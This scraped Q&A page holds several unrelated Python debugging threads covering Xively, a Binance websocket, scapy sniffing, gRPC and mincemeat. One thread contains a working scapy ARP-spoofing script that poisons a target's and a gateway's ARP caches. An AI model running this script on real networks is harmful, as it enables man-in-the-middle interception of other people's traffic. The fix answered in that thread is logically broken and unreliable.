I have my rpi connected up to a digital scales via RS232, a MAX3232 serial port / ttl module connected into the GPIO. Successfully collected the weight data streaming from the scales using this code (data is in blocks of 20 and the weight is at 11 - 14). This prints it out locally in terminal:
import serial
import time
ser = serial.Serial("/dev/ttyAMA0")
read = ser.read(20)
def get_num(read):
return float(''.join(ele for ele in read if ele.isdigit() or ele == '.'))
while True:
print(get_num(read))
time.sleep(2)
This works great but my python code to send datastream to xively isn't so good.
def get_num(read):
return float(''.join(ele for ele in read if ele.isdigit() or ele == '.'))
# function to return a datastream object. This either creates a new datastream,
# or returns an existing one
def get_datastream(feed):
try:
datastream = feed.datastreams.get("(get_num(read))")
return datastream
except:
datastream = feed.datastreams.create("(get_num(read))", tags = "weight")
return datastream
def run():
feed = api.feeds.get(FEED_ID)
datastream = get_datastream(feed)
datastream.max_value = None
datastream.min_value = None
while True:
weight = get_num(read)
datastream.current_value = weight
datastream.at = datetime.datetime.utcnow()
try:
datastream.update()
except requests.HTTPError as e:
print "HTTPError({0}): {1}".format(e.errno, e.strerror)
time.sleep(5)
run()
It checks out OK in IDLE - but when run it generates an error as follows:
Traceback (most recent call last):
File "xivelycodescales.py", line 51, in <module>
run()
File "xivelycodescales.py", line 36, in run
datastream = get_datastream(feed)
File "xivelycodescales.py", line 32, in get_datastream
datastream = feed.datastreams.create("(get_num(read))")
File "/usr/local/lib/python2.7/dist-packages/xively/managers.py", line 416, in create
response.raise_for_status()
File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 773, in raise_for_status
raise HTTPError(http_error_msg, response=self)
requests.exceptions.HTTPError: 422 Client Error:
I can see what the error type is - and had good help at the RPI forums. But can't figure out where I've gone wrong
Many thanks
Related
I'm trying to set up a connection via WebSocket for retrieving data from Cryptocurrency market. I'm not new to programming, but I mainly used C++ basic knowledge since now. I learned a bit of Python because it seemed more simple to setup, and went to read WebSocket documentation.
I managed to build up something good, retrieve information from Binance and convert them into variables to manipulate. The problem is that while the program is running, I randomly get this error:
Traceback (most recent call last):
File "<stdin>", line 4, in <module>
File "<stdin>", line 2, in connection
File "C:\Users\super\AppData\Local\Programs\Python\Python38\lib\site-packages\websocket\_core.py", line 353, in recv
opcode, data = self.recv_data()
File "C:\Users\super\AppData\Local\Programs\Python\Python38\lib\site-packages\websocket\_core.py", line 376, in recv_data
opcode, frame = self.recv_data_frame(control_frame)
File "C:\Users\super\AppData\Local\Programs\Python\Python38\lib\site-packages\websocket\_core.py", line 416, in recv_data_frame
self.pong(frame.data)
File "C:\Users\super\AppData\Local\Programs\Python\Python38\lib\site-packages\websocket\_core.py", line 342, in pong
self.send(payload, ABNF.OPCODE_PONG)
File "C:\Users\super\AppData\Local\Programs\Python\Python38\lib\site-packages\websocket\_core.py", line 282, in send
return self.send_frame(frame)
File "C:\Users\super\AppData\Local\Programs\Python\Python38\lib\site-packages\websocket\_core.py", line 303, in send_frame
data = frame.format()
File "C:\Users\super\AppData\Local\Programs\Python\Python38\lib\site-packages\websocket\_abnf.py", line 238, in format
mask_key = self.get_mask_key(4)
TypeError: 'str' object is not callable
It seems to pop up randomly, as I wrote down at which loop it appeared, and it's never the same: sometimes after 30 loops, sometimes after 200 loops.
It seems to me that there could be a "str" variable called as a function, in the library, but I really don't know how to resolve this problem.
The code of the program is the following:
import websocket
import json
socket = 'wss://stream.binance.com:9443/ws/xrpusdt#kline_5m'
def on_message(message):
json_message = json.loads(message)
candle = json_message['k']
is_closed = candle['x']
open = candle['o']
close = candle['c']
high = candle['h']
low = candle['l']
vol = candle['v']
print("Apertura: ", open)
print("Chiusura: ", close)
print("Massimo: ", high)
print("Minimo: ", low)
print("Volume: ",vol)
print("Candela chiusa: ", is_closed)
return(open,close,high,low,vol,is_closed)
def on_close(ws, close_status_code, close_msg):
print("Connection closed")
ws = websocket.WebSocket(socket)
def connection():
data = ws.recv()
o,c,h,l,v,ic = on_message(data)
#variabili convertite in float
open_f = float(o)
close_f = float(c)
high_f = float(h)
low_f = float(l)
v_f = float(v)
#variazione percentuale
var_perc = ((close_f/open_f)-1)*100
print("Variazione: ", var_perc,"%")
var_perc = ((close_f/open_f)-1)*100*75
print("Variazione con leva x75: ", var_perc,"%")
print("\n")
return(open_f,close_f,high_f,low_f,v_f,var_perc,ic)
a=0
while 'true':
ws.connect(socket, suppress_origin=True)
open,close,high,low,volume,var,is_closed = connection()
ws.close()
a=a+1
print(str(a))
The variable 'a' is just for counting loops, and I tried to remove that feature, keep having the trouble, so it's not that.
Thanks a lot if anyone would help, and I'm not a professional programmer, so please don't yell at me if the matter was easy to solve, because I really tried to find myself a solution.
I'm trying to get the mac address to be automatically added to the spoof and restore function instead of typing it manually. Not too long ago it worked fine but now it doesn't. The "get_mac" function works by itself but not when I add it this code. Why am I getting this error?:
Traceback (most recent call last):
File "arp_spoof.py", line 33, in <module>
spoof(target_ip_str, spoof_ip_str)
File "arp_spoof.py", line 15, in spoof
target_mac = get_mac(target_ip_str)
File "arp_spoof.py", line 11, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
This is my code:
import scapy.all as sc
import time
def get_mac(ip):
arp_request = sc.ARP(pdst=ip)
broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_request = broadcast/arp_request
answered_list = sc.srp(arp_broadcast_request, timeout=4, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip_str)
packet = sc.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sc.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(target_ip_str)
source_mac = get_mac(source_ip)
packet = sc.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
sc.send(packet, count=4, verbose=False)
packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")
try:
while True:
spoof(target_ip_str, spoof_ip_str)
spoof(spoof_ip_str, target_ip_str)
packet_sent_count += 2
print("\r[+] Packets sent: " + str(packet_sent_count), end="")
time.sleep(2)
except KeyboardInterrupt:
print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
restore(target_ip_str, spoof_ip_str)
restore(spoof_ip_str, target_ip_str)
In the get_mac function write an if statement and check if the answered_list is empty; if it is, then return answered_list, just like so:
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, iface="wlan0", timeout=3, verbose=False)[0]
if answered_list == "":
return answered_list[0][1].hwsrc
I'm trying to use the sniff() function that scapy provides but it raises the following error:
Traceback (most recent call last):
File "TestCode.py", line 54, in <module>
packets = getMessege()
File "TestCode.py", line 45, in getMessege
return sniff(count=getLen(), lfilter=filterFrom)
File "C:\Heights\PortableApps\PortablePython2.7.6.1\App\lib\site-packages\scapy\sendrecv.py", line 575, in sniff
sel = select([s],[],[],remain)
select.error: (10038, 'An operation was attempted on something that is not a socket')
Here is the code (FromGlobal is a tuple that contains the IP and Port of the sender):
def getLen():
while True:
length, LenFrom = sock.recvfrom(1024)
try:
IntLen = int(length)
except:
pass
else:
if LenFrom == FromGlobal:
return IntLen
def filterFrom(pck):
try:
return pck[IP].src == FromGlobal[0] and pck[UDP].sport == FromGlobal[1]
except:
return False
def getMessege(): # TODO This needs to return only the messege and port
return sniff(count=getLen(), lfilter=filterFrom)
packets = getMessege()
print packets.show()
The weird part is that if I try to do it like so:
def func1():
return int('1')
def lfilter(pack):
return TCP in pack and pack[IP].src != '8.8.8.8'
def func():
return sniff(count=func1(), lfilter=lfilter)
var = func()
print var.show()
it works perfectly well. If someone could point out the difference between the two it would help a lot.
I'm use WinPcap 4.1.3 and scapy 2.x.
Well, Resolved it myself. apparently if you do:
from scapy.all import *
from scapy.layers.inet import *
the sniff function won't works so do only
from scapy.all import *
I am running a simple python server application with grpc. This is the server code:
class Classifier(grpc_cl.BetaClassifierServicer):
def __init__(self):
default_config = self.getDefaultConfig()
self.engine_config = default_config["engine"]
self.port = default_config["daemon"]["port"]
# self.engine = loadLSTM3Model(self.engine_config)
def getDefaultConfig(self):
with open("service.properties.yaml", "r") as stream:
default_config = yaml.load(stream)
return default_config
def Analyze(self, request, context):
file_name = request.sentences_file
print "This is the file to analyze ", file_name
error = grpc_cl.Error(error_code = 0, error_message = "OK")
return grpc_cl.CategoryReply(error)
The client:
channel = implementations.insecure_channel('localhost', 50051)
stub = classifier_grpc.beta_create_Classifier_stub(channel)
reply = stub.Analyze(classifier_grpc.CategoryRequest(user_context=1, sentences_file="file"), 10000)
print 'Answer', reply.error.error_message
And the .proto file with the messages:
syntax = "proto3";
service Classifier{
rpc Analyze(CategoryRequest) returns (CategoryReply){}
rpc Train(TrainRequest) returns (CategoryReply){}
}
message CategoryRequest{
int32 user_context = 1;
string sentences_file = 2;
}
message CategoryReply{
Error error = 1;
string categories_file = 2;
}
message Error{
int32 error_code = 1;
string error_message = 2;
}
Launching the server and the client, and connecting both of them to the respective port, gives me this error:
Traceback (most recent call last):
File "/home/~/service/client.py", line 19, in <module>
reply = stub.Analyze(classifier_grpc.CategoryRequest(user_context=1, sentences_file="file"), 10000)
File "/usr/local/lib/python2.7/dist-packages/grpc/framework/crust/implementations.py", line 73, in __call__
protocol_options, metadata, request)
File "/usr/local/lib/python2.7/dist-packages/grpc/framework/crust/_calls.py", line 109, in blocking_unary_unary
return next(rendezvous)
File "/usr/local/lib/python2.7/dist-packages/grpc/framework/crust/_control.py", line 412, in next
raise self._termination.abortion_error
grpc.framework.interfaces.face.face.RemoteError
Does somebody now why this happens? Also, I could extract the user_context from the CategoryRequest, but not the sentences_file string, that one is blank.
grpc.framework.interfaces.face.face.RemoteError indicates that an exception occurred on the server while processing the request.
In your case, protobuf parameters need to be specified by keyword, ie
return grpc_cl.CategoryReply(error)
should be
return grpc_cl.CategoryReply(error=error)
I am trying to write a homework about map-reduce. I run in a terminal:
ioannis#ioannis-desktop:~$ python hw3.py
then in another terminal:
python mincemeat.py -p changeme localhost
Immediately in the former terminal, a bunch of stuff is typed:
ioannis#ioannis-desktop:~$ python hw3.py
error: uncaptured python exception, closing channel <mincemeat.ServerChannel connected 127.0.0.1:58061 at 0x7fabef5045a8>
(<type 'exceptions.TypeError'>:'NoneType' object is not iterable
[/usr/lib/python2.7/asyncore.py|read|83]
[/usr/lib/python2.7/asyncore.py|handle_read_event|449]
[/usr/lib/python2.7/asynchat.py|handle_read|158]
[/home/ioannis/mincemeat.py|found_terminator|82]
[/home/ioannis/mincemeat.py|process_command|280]
[/home/ioannis/mincemeat.py|process_command|123]
[/home/ioannis/mincemeat.py|respond_to_challenge|106]
[/home/ioannis/mincemeat.py|post_auth_init|289]
[/home/ioannis/mincemeat.py|start_new_task|258]
[/home/ioannis/mincemeat.py|next_task|304])
^CTraceback (most recent call last):
File "hw3.py", line 54, in <module>
results = s.run_server(password="changeme")
File "/home/ioannis/mincemeat.py", line 220, in run_server
self.close_all()
File "/usr/lib/python2.7/asyncore.py", line 421, in __getattr__
%(self.__class__.__name__, attr))
AttributeError: Server instance has no attribute 'close_all'
ioannis#ioannis-desktop:~$ python hw3.py
the code for hw3.py:
import mincemeat
import glob
from stopwords import allStopWords
text_files = glob.glob('/home/ioannis/Web Intelligence and Big Data/Week 3: Load - I/hw3data/hw3data/*')
def file_contents(file_name):
f = open(file_name)
try:
# print f.read()
return f.read()
except:
print "exception!!!!!!"
finally:
f.close()
source = dict((file_name, file_contents(file_name))
for file_name in text_files)
def mapfn(key, value):
for line in value.splitlines():
print "I have reach that point!"
...........
...........
def reducefn(k, vs):
result = sum(vs)
return result
s = mincemeat.Server()
s.source = source
s.mapfn = mapfn
s.reducefn = reducefn
results = s.run_server(password="changeme")
print results
In the thread Python, Asyncore and forks, the following suggestion was made:
Change your handle_accept() to return immediately when accept() returns None.
In the file mincemeat.py there is a function:
def handle_accept(self):
conn, addr = self.accept()
sc = ServerChannel(conn, self)
sc.password = self.password
Is the solution to my problem to change something in that function?
s.source = source needs to be s.datasource = source.